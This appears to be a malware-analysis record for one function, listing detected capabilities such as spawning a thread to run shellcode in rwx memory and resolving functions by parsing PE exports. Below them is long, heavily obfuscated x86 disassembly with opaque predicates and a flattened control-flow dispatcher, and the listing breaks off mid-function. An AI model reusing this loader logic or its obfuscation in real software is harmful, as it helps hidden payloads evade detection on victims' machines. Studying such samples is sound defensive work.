Function at 0x487e50
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Check os version
Create thread
Encode data using base64
Get number of processors
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xfe8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x634080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
xor esi, esi
sub esi, ecx
add esi, 0
mov edx, 0xea83e276
add edx, 0
sub edx, 0x6b4b4b1
sub edx, 0xea83e276
add esi, 0x83a91c76
add esi, edx
sub esi, 0x83a91c76
mov edx, 0x3657c1ae
add edx, 0
sub edx, esi
sub edx, 0x3657c1ae
xor edi, edi
sub edi, 0x45aa4fbf
sub edi, 1
add edi, 0x45aa4fbf
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0x713308c0
add edx, 0xf23cbcd9
sub edx, 0x713308c0
xor esi, esi
sub esi, 0x6b4b4b1
add edx, esi
add edx, 0x28d16647
sub edx, 0xf23cbcd9
sub edx, 0x28d16647
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x1ae], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x1ad], al
mov dword [ebp - 0x1b4], 0xd6f85f44
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1c0], eax
sub eax, 0x80599983
je 0x4ab915
jmp 0x487f49
mov eax, dword [ebp - 0x1c0]
sub eax, 0x80970066
je 0x49527a
jmp 0x487f5f
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8104bb5a
je 0x4bd205
jmp 0x487f75
mov eax, dword [ebp - 0x1c0]
sub eax, 0x81449f02
je 0x4bb97d
jmp 0x487f8b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x81679a0c
je 0x4bf79e
jmp 0x487fa1
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8350a20c
je 0x4bfe53
jmp 0x487fb7
mov eax, dword [ebp - 0x1c0]
sub eax, 0x852ca88e
je 0x491475
jmp 0x487fcd
mov eax, dword [ebp - 0x1c0]
sub eax, 0x85b2a436
je 0x4a6986
jmp 0x487fe3
mov eax, dword [ebp - 0x1c0]
sub eax, 0x861198fe
je 0x48c2d4
jmp 0x487ff9
mov eax, dword [ebp - 0x1c0]
sub eax, 0x863b19af
je 0x48efc6
jmp 0x48800f
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8641b093
je 0x4b4a7e
jmp 0x488025
mov eax, dword [ebp - 0x1c0]
sub eax, 0x86f3c5a3
je 0x4bf5dd
jmp 0x48803b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x877a3996
je 0x4bfe3e
jmp 0x488051
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8809821f
je 0x49d2b5
jmp 0x488067
mov eax, dword [ebp - 0x1c0]
sub eax, 0x88728359
je 0x4b1280
jmp 0x48807d
mov eax, dword [ebp - 0x1c0]
sub eax, 0x88e8a696
je 0x49e1b9
jmp 0x488093
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8ae3a0cc
je 0x48b4e2
jmp 0x4880a9
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8d8da9cd
je 0x490383
jmp 0x4880bf
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8e267129
je 0x4b82a8
jmp 0x4880d5
mov eax, dword [ebp - 0x1c0]
sub eax, 0x8f35aa37
je 0x4c04d3
jmp 0x4880eb
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9038e3ac
je 0x4a0228
jmp 0x488101
mov eax, dword [ebp - 0x1c0]
sub eax, 0x91e996b7
je 0x4b5af6
jmp 0x488117
mov eax, dword [ebp - 0x1c0]
sub eax, 0x92a1a9e9
je 0x4a55c0
jmp 0x48812d
mov eax, dword [ebp - 0x1c0]
sub eax, 0x93cf84e7
je 0x4b15ab
jmp 0x488143
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9527fd9a
je 0x49d337
jmp 0x488159
mov eax, dword [ebp - 0x1c0]
sub eax, 0x97104a78
je 0x4a8733
jmp 0x48816f
mov eax, dword [ebp - 0x1c0]
sub eax, 0x97b606a7
je 0x498b82
jmp 0x488185
mov eax, dword [ebp - 0x1c0]
sub eax, 0x99d09f2e
je 0x498a91
jmp 0x48819b
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9c405e42
je 0x4c04af
jmp 0x4881b1
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9c8ddec3
je 0x49d301
jmp 0x4881c7
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9d7e8dca
je 0x4bf637
jmp 0x4881dd
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9eb1969a
je 0x4bcf21
jmp 0x4881f3
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9f0c80fb
je 0x4b4a6f
jmp 0x488209
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa0d130c2
je 0x49bab0
jmp 0x48821f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa24c5fd9
je 0x4a2aa2
jmp 0x488235
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa28b9bdc
je 0x4a5a12
jmp 0x48824b
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa37cdd2c
je 0x49ab20
jmp 0x488261
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa3fcc815
je 0x4a7651
jmp 0x488277
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa4d3c3ea
je 0x4c0569
jmp 0x48828d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa76a177f
je 0x4ae441
jmp 0x4882a3
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa86b4381
je 0x49f990
jmp 0x4882b9
mov eax, dword [ebp - 0x1c0]
sub eax, 0xa8deed07
je 0x498ac2
jmp 0x4882cf
mov eax, dword [ebp - 0x1c0]
sub eax, 0xab623c65
je 0x48f259
jmp 0x4882e5
mov eax, dword [ebp - 0x1c0]
sub eax, 0xacb9399f
je 0x4a53f2
jmp 0x4882fb
mov eax, dword [ebp - 0x1c0]
sub eax, 0xad35d933
je 0x4b0fe3
jmp 0x488311
mov eax, dword [ebp - 0x1c0]
sub eax, 0xad801497
je 0x4a4222
jmp 0x488327
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaf1ad16c
je 0x4a7f74
jmp 0x48833d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaf3cdd47
je 0x4bac4f
jmp 0x488353
mov eax, dword [ebp - 0x1c0]
sub eax, 0xaf3f2371
je 0x48f324
jmp 0x488369
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb0162459
je 0x48cd69
jmp 0x48837f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb17d44fb
je 0x4ab906
jmp 0x488395
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb1d5837d
je 0x4a3ea0
jmp 0x4883ab
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb30e50d7
je 0x495245
jmp 0x4883c1
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb418dc03
je 0x4bf33b
jmp 0x4883d7
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb4608d4a
je 0x491484
jmp 0x4883ed
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb5427fb8
je 0x4a3b0b
jmp 0x488403
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb6187972
je 0x48a24a
jmp 0x488419
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb72759c0
je 0x4c05c0
jmp 0x48842f
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb79e3f45
je 0x49126d
jmp 0x488445
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb7a3a00b
je 0x4c0545
jmp 0x48845b
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb8eb493f
je 0x49fd91
jmp 0x488471
mov eax, dword [ebp - 0x1c0]
sub eax, 0xb90cbab7
je 0x4b15c6
jmp 0x488487
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbaf4c47c
je 0x4a0f31
jmp 0x48849d
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbaf778f9
je 0x4c0536
jmp 0x4884b3
mov eax, dword [ebp - 0x1c0]
sub eax, 0xbc77b35a
je 0x4ba7b6
push eax
mov eax, esp
mov dword [ebp - 0x1ac], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a8], eax
mov eax, 0x49800
call fcn.005d4700
mov eax, esp
mov dword [ebp - 0x1a4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1a0], eax
push eax
mov eax, esp
mov dword [ebp - 0x19c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x198], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x194], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x190], eax
push eax
mov eax, esp
mov dword [ebp - 0x18c], eax
push eax
mov eax, esp
mov dword [ebp - 0x188], eax
push eax
mov eax, esp
mov dword [ebp - 0x184], eax
push eax
mov eax, esp
mov dword [ebp - 0x180], eax
push eax
mov eax, esp
mov dword [ebp - 0x17c], eax
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
xor esi, esi
sub esi, 0x9b7fcf3b
sub esi, 0x38bf7f71
add esi, 0x9b7fcf3b
mov edx, ecx
sub edx, 0x44f9dc6e
sub edx, esi
add edx, 0x44f9dc6e
xor edi, edi
sub edi, 0xd26f530a
sub edi, 1
add edi, 0xd26f530a
xor esi, esi
sub esi, edi
sub edx, esi
add edx, 0xb83f4a02
add edx, 0xefaa6def
sub edx, 0xb83f4a02
xor esi, esi
sub esi, 0x38bf7f71
add edx, esi
add edx, 0xbd9c25a3
sub edx, 0xefaa6def
sub edx, 0xbd9c25a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
mov byte [ebp - 0x1eb], ch
cmp eax, 0xa
setl cl
mov byte [ebp - 0x1ea], cl
mov al, ch
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, ch
or dl, ah
xor al, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and cl, ah
or dl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
or cl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, 1
xor dl, 0
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, dl
and ch, 0
mov al, dh
and al, 0
mov bh, bl
and bh, 0
and cl, dh
or ch, al
mov al, byte [ebp - 0x1eb]
or bh, cl
mov cl, byte [ebp - 0x1ea]
xor ch, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or ch, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ah, dh
or dl, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov ah, 1
xor ah, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
mov bl, dh
xor bl, 0xff
mov ch, al
xor ch, bl
and ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and cl, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x1ea]
or bl, bh
xor al, bl
xor al, 0xff
mov bh, 1
xor bh, 1
mov bl, 1
xor bl, 0
or al, bh
or bl, 0
xor al, 0xff
and al, bl
xor dh, 0xff
mov bh, cl
xor bh, dh
and bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x1e9], cl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x1e9]
or bl, bh
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ch, al
xor ch, 0xff
mov ah, cl
and ah, ch
xor cl, 0xff
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68d5fd3f
mov ecx, 0xd603e7bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
cmp dword [eax], 0x4550
setne al
and al, 1
mov byte [ebp - 0x109], al
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
xor esi, esi
sub esi, 0x2bee5760
sub esi, 0x61c52066
add esi, 0x2bee5760
mov edx, eax
add edx, 0x600614c4
add edx, esi
sub edx, 0x600614c4
xor edi, edi
sub edi, 1
add edi, 0
xor esi, esi
sub esi, edi
sub edx, esi
xor esi, esi
sub esi, edx
add esi, 0
xor edx, edx
sub edx, 0x61c52066
add edx, 0
add esi, 0x9c9c0c02
add esi, edx
sub esi, 0x9c9c0c02
xor edx, edx
sub edx, esi
add edx, 0
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl cl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or dl, al
mov al, ah
xor al, 0xff
mov ch, dl
and ch, al
xor dl, 0xff
mov al, ah
and al, dl
or ch, al
xor ch, 0xff
mov dl, ah
xor dl, 0xff
mov al, 1
xor al, 1
or ch, dl
or al, 1
xor ch, 0xff
and ch, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bl, 1
xor bl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bh
or al, dh
xor dl, al
mov dh, dl
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov dh, cl
xor dh, 0xff
and dh, 1
mov bh, 1
xor bh, 1
mov ah, cl
and ah, bh
or dh, ah
mov bh, 1
xor bh, 1
mov ah, dh
xor ah, bh
and ah, dh
mov byte [ebp - 0x1f1], ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
and bl, ah
mov byte [ebp - 0x1f3], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x1f2], al
mov al, byte [ebp - 0x1f3]
or dl, al
mov al, byte [ebp - 0x1f2]
or bl, al
mov al, byte [ebp - 0x1f1]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1f0], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1f0]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov ah, dl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69507184
mov ecx, 0x6e5bda91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov eax, dword [ebp - 0x1ac]
mov dword [eax], 1
mov eax, dword [0x6355c4]
mov ecx, dword [0x6355c0]
mov edx, eax
sub edx, 0x3031d837
sub edx, 0x8e164bd5
add edx, 0x3031d837
xor esi, esi
sub esi, 0xa3f0b24d
add edx, esi
sub edx, 0xb88cdcd3
add edx, 0x8e164bd5
add edx, 0xb88cdcd3
add edx, 0x158752a0
sub edx, 0xff65e48b
sub edx, 0x158752a0
add edx, 0x89782ee0
sub edx, 1
sub edx, 0x89782ee0
xor esi, esi
sub esi, 0xff65e48b
sub edx, esi
mov edi, 0xf5971835
add edi, 0
sub edi, 0xa3f0b24d
sub edi, 0xf5971835
xor esi, esi
sub esi, edi
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
cmp ecx, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov cl, ah
xor cl, 0xff
mov al, dl
and al, cl
xor dl, 0xff
mov cl, ah
and cl, dl
or al, cl
mov cl, ah
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x22d], al
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, ch
or al, cl
xor dh, al
xor ah, 0xff
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, bh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov cl, bh
and cl, bl
mov ch, 1
xor ch, 1
and ch, 0
and bl, 1
or al, cl
mov cl, byte [ebp - 0x22d]
or ch, bl
xor al, ch
xor al, 0xff
mov bl, 1
xor bl, 1
mov ch, 1
xor ch, 0
or al, bl
or ch, 0
xor al, 0xff
and al, ch
xor bh, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or bh, dh
or ch, 1
xor bh, 0xff
and bh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x22c], ah
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov bl, dh
and bl, 0xff
and bh, cl
or ah, al
mov al, byte [ebp - 0x22c]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, ah
xor al, 0xff
and al, 0xff
and ah, dh
or cl, ch
or al, ah
xor cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5419d50b
mov ecx, 0x74db3fa8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b4], eax
jmp 0x4c0c7f
mov dword [ebp - 0x1b4], 0x1cab07f
mov dword [ebp - 0x1b8], 0
jmp 0x4c0c7f
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.005d53f0
add esp, 0xc
sub esi, 0xca
ror edi, 0x66
neg esi
rcr edi, 0x48
imul edi
inc ebx
dec eax
rol edx, 0xe3
dec esi
dec eax
imul edi
ror eax, 0x1c
ror eax, 0x7a
and edi, 0x17
sub eax, 0x78
inc edx
inc eax
bswap edx
bswap esi
bswap edi
mov edi, 0x9c
or ebx, 0xb1
sbb edi, 0x83
neg edx
sub edx, 0xbe
not ebx
rcl eax, 0x81
inc edx
rcr eax, 0x9b
inc edx
bswap esi
sbb edi, 0x9d
imul eax
neg edx
imul ebx
imul esi
dec esi
mov ebx, 0xa2
mov edx, 0x47
not edx
inc ebx
not ebx
and ebx, 0x5a
imul eax
or eax, 0x41
ror edi, 0x31
add eax, 1
imul edx
imul eax
imul esi
sub edx, 0x2f
not eax
rol eax, 0x56
add edi, 0x7e
neg edi
and edi, 0xf9
mov eax, 0x7a
rcr edx, 0xc
bswap eax
mov edi, 0x94
rol ebx, 0xfd
or edi, 0x6e
rcr ebx, 0x1b
rcr eax, 0x79
and edx, 0x69
bswap edi
and esi, 0x3b
sub edx, 0xdb
not ebx
rcr ebx, 0xbe
imul edi
dec esi
add eax, 0x1b
or edx, 0x57
rol ebx, 0x70
not edx
ror ebx, 0xd9
dec ebx
neg edi
not esi
and esi, 0xa1
sbb edi, 0x15
add edx, 1
not edx
ror esi, 0xb2
rcr eax, 0x7e
add esi, 0x15
ror eax, 0xff
neg eax
sbb eax, 0x11
and eax, 0xff
rcr edi, 0x36
bswap edx
rcl eax, 0x23
dec ebx
inc edx
imul eax
rcr edx, 0xd7
imul ebx
add eax, 0xec
neg eax
dec ebx
rol edi, 0xa4
add edx, 0x7f
not esi
sub ebx, 0xe7
dec edx
neg esi
dec ebx
not edx
bswap esi
dec ebx
and edi, 0x2e
imul edx
bswap esi
rcl edx, 0xf0
bswap esi
rcr ebx, 0x9d
dec edi
dec edi
bswap edi
ror ebx, 0x58
rcl ebx, 0x12
not edx
imul esi
add edx, 0x3e
and edi, 0x5a
rol edx, 0x81
bswap edi
mov eax, 0xd7
or edx, 0xb5
bswap edx
mov ebx, 0x4b
inc edx
inc edi
bswap edx
inc esi
mov edx, 0xc5
or edx, 3
neg esi
inc eax
inc esi
add ebx, 0x8e
or eax, 0x26
sub edi, 0x64
ror edi, 0xf6
mov edi, 0xd2
inc edx
bswap eax
or eax, 0xfc
mov ecx, eax
mov eax, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x7a9bd5d1
sub eax, 0x3d16ffdd
add eax, 0x7a9bd5d1
sub eax, 0x2f47e249
sub eax, ecx
add eax, 0x2f47e249
xor ecx, ecx
sub ecx, 0x3d16ffdd
sub eax, ecx
mov ecx, 0xefe44e6e
add ecx, 0
add ecx, 0x9b70d6c6
sub ecx, 0xefe44e6e
add ecx, 0x9baf624c
sub ecx, 0x18
sub ecx, 0x9baf624c
sub ecx, 0x37eafc03
sub ecx, 0x9b70d6c6
add ecx, 0x37eafc03
add eax, 0x72e8b67c
sub eax, 0x29aaf67f
sub eax, 0x72e8b67c
sub eax, 0xea79f1f5
add eax, ecx
add eax, 0xea79f1f5
sub eax, 0x640bd173
add eax, 0x29aaf67f
add eax, 0x640bd173
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor eax, eax
sub eax, 0xf7a311fa
add eax, ecx
add eax, 0xf7a311fa
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x1b4], 0xab623c65
jmp 0x4c0c7f
mov eax, dword [ebp - 0xec]
movzx eax, word [eax + 0x10]
mov ecx, dword [ebp - 0xf0]
xor edx, edx
sub edx, 0x7945fe5d
add ecx, edx
xor edx, edx
sub edx, 0xeb9ed5a7
add ecx, edx
sub ecx, 0xecfdf72b
add ecx, 0x7945fe5d
add ecx, 0xecfdf72b
xor edx, edx
sub edx, eax
add edx, 0
xor eax, eax
sub eax, edx
add ecx, eax
add ecx, 0x287b9aa6
sub ecx, 0x6b092495
sub ecx, 0x287b9aa6
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xeb9ed5a7
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x47fd04c2
add ecx, 0x6b092495
sub ecx, 0x47fd04c2
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov dword [ebp - 0x1b4], 0xe1e51e10
jmp 0x4c0c7f
mov ecx, dword [0x6355c4]
mov eax, dword [0x6355c0]
mov edx, ecx
sub edx, 0x1ab043c2
sub edx, 0x233b0f98
add edx, 0x1ab043c2
xor esi, esi
sub esi, 0x6b402c1b
sub edx, esi
add edx, 0x75f1dd95
add edx, 0x233b0f98
sub edx, 0x75f1dd95
add edx, 0x4705f7a4
sub edx, 0x8697bafa
sub edx, 0x4705f7a4
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0xc2eb143a
add edx, 0x8697bafa
sub edx, 0xc2eb143a
xor esi, esi
sub esi, 0xd045ac9a
add edx, esi
add edx, 0xe730f5c7
sub edx, 0x6b402c1b
sub edx, 0xe730f5c7
sub edx, 0x73539cb9
add edx, 0xd045ac9a
add edx, 0x73539cb9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or cl, al
mov al, dl
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, dl
and al, cl
or ch, al
xor ch, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
or ch, cl
or al, 0
xor ch, 0xff
and ch, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
mov byte [ebp - 0x2c6], cl
mov dl, ah
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov bl, ah
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or bh, bl
or al, dh
xor bh, al
mov dh, 1
xor dh, 0
mov al, cl
xor al, dh
and al, cl
mov dh, bh
xor dh, 0xff
mov cl, ch
xor cl, dh
and cl, ch
mov ch, dl
xor ch, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 0
or ch, bl
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x2c9], ch
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x2ca], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and al, ch
mov byte [ebp - 0x2cc], al
